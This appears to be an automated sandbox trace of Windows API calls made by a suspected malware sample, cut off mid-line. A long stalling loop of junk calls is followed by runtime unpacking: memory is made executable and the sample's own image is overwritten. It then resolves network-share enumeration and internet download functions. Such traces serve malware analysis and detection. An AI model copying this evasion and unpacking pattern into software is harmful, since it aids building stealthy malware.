dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.947] GetMessageTime () returned 0 [0045.947] GetLastError () returned 0x578 [0045.947] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.947] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.947] GetMessageTime () returned 0 [0045.947] GetLastError () returned 0x578 [0045.947] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.947] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.947] GetMessageTime () returned 0 [0045.947] GetLastError () returned 0x578 [0045.947] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.947] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.947] GetMessageTime () returned 0 [0045.948] GetLastError () returned 0x578 [0045.948] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.948] GetMessageTime () returned 0 [0045.948] GetLastError () returned 0x578 [0045.948] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.948] GetMessageTime () returned 0 [0045.948] GetLastError () returned 0x578 [0045.948] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.948] GetMessageTime () returned 0 [0045.948] GetLastError () returned 0x578 [0045.948] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.948] GetMessageTime () returned 0 [0045.948] GetLastError () returned 0x578 [0045.948] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.948] GetMessageTime () returned 0 [0045.948] GetLastError () returned 0x578 [0045.948] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.949] GetMessageTime () returned 0 [0045.949] GetLastError () returned 0x578 [0045.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.949] GetMessageTime () returned 0 [0045.949] GetLastError () returned 0x578 [0045.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.949] GetMessageTime () returned 0 [0045.949] GetLastError () returned 0x578 [0045.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.949] GetMessageTime () returned 0 [0045.949] GetLastError () returned 0x578 [0045.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.949] GetMessageTime () returned 0 [0045.949] GetLastError () returned 0x578 [0045.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.949] GetMessageTime () returned 0 [0045.949] GetLastError () returned 0x578 [0045.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.950] GetMessageTime () returned 0 [0045.950] GetLastError () returned 0x578 [0045.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.950] GetMessageTime () returned 0 [0045.950] GetLastError () returned 0x578 [0045.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.950] GetMessageTime () returned 0 [0045.950] GetLastError () returned 0x578 [0045.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.950] GetMessageTime () returned 0 [0045.950] GetLastError () returned 0x578 [0045.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.950] GetMessageTime () returned 0 [0045.950] GetLastError () returned 0x578 [0045.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.950] GetMessageTime () returned 0 [0045.950] GetLastError () returned 0x578 [0045.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.951] GetMessageTime () returned 0 [0045.951] GetLastError () returned 0x578 [0045.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.951] GetMessageTime () returned 0 [0045.951] GetLastError () returned 0x578 [0045.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.951] GetMessageTime () returned 0 [0045.951] GetLastError () returned 0x578 [0045.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.951] GetMessageTime () returned 0 [0045.951] GetLastError () returned 0x578 [0045.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.951] GetMessageTime () returned 0 [0045.951] GetLastError () returned 0x578 [0045.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.951] GetMessageTime () returned 0 [0045.951] GetLastError () returned 0x578 [0045.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.952] GetMessageTime () returned 0 [0045.952] GetLastError () returned 0x578 [0045.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.952] GetMessageTime () returned 0 [0045.952] GetLastError () returned 0x578 [0045.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.952] GetMessageTime () returned 0 [0045.952] GetLastError () returned 0x578 [0045.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.952] GetMessageTime () returned 0 [0045.952] GetLastError () returned 0x578 [0045.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.952] GetMessageTime () returned 0 [0045.952] GetLastError () returned 0x578 [0045.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.952] GetMessageTime () returned 0 [0045.952] GetLastError () returned 0x578 [0045.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.953] GetMessageTime () returned 0 [0045.953] GetLastError () returned 0x578 [0045.953] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.953] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.953] GetMessageTime () returned 0 [0045.953] GetLastError () returned 0x578 [0045.953] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.953] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.953] GetMessageTime () returned 0 [0045.953] GetLastError () returned 0x578 [0045.953] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.953] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.953] GetMessageTime () returned 0 [0045.953] GetLastError () returned 0x578 [0045.953] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.953] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.953] GetMessageTime () returned 0 [0045.953] GetLastError () returned 0x578 [0045.953] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.953] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.953] GetMessageTime () returned 0 [0045.953] GetLastError () returned 0x578 [0045.953] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.953] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0047.766] LocalAlloc (uFlags=0x0, uBytes=0x44e2c) returned 0x613fe8 [0047.814] LocalAlloc (uFlags=0x0, uBytes=0x44e2c) returned 0x658e20 [0047.820] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0047.820] VirtualProtect (in: lpAddress=0x658e20, dwSize=0x33aa1, flNewProtect=0x40, lpflOldProtect=0x18e190 | out: lpflOldProtect=0x18e190*=0x4) returned 1 [0047.836] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0047.836] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0047.836] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0047.836] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0047.836] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0047.836] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0047.836] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0047.836] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0047.836] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0047.836] SetErrorMode (uMode=0x400) returned 0x0 [0047.836] SetErrorMode (uMode=0x0) returned 0x400 [0047.836] GetVersionExA (in: lpVersionInformation=0x18cc10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18cc10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0047.837] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0047.843] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18dc98 | out: lpflOldProtect=0x18dc98*=0x2) returned 1 [0047.879] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0047.892] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0047.892] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0047.892] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0047.892] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0047.892] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0047.892] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0047.892] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b30000 [0047.895] GetProcAddress (hModule=0x74b30000, lpProcName="WNetCloseEnum") returned 0x74b32dd6 [0047.896] GetProcAddress (hModule=0x74b30000, lpProcName="WNetOpenEnumW") returned 0x74b32f06 [0047.896] GetProcAddress (hModule=0x74b30000, lpProcName="WNetEnumResourceW") returned 0x74b33058 [0047.896] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0047.908] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0047.908] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0047.909] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0047.909] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0047.909] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0047.909] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0047.909] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0047.909] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0047.912] GetProcAddress 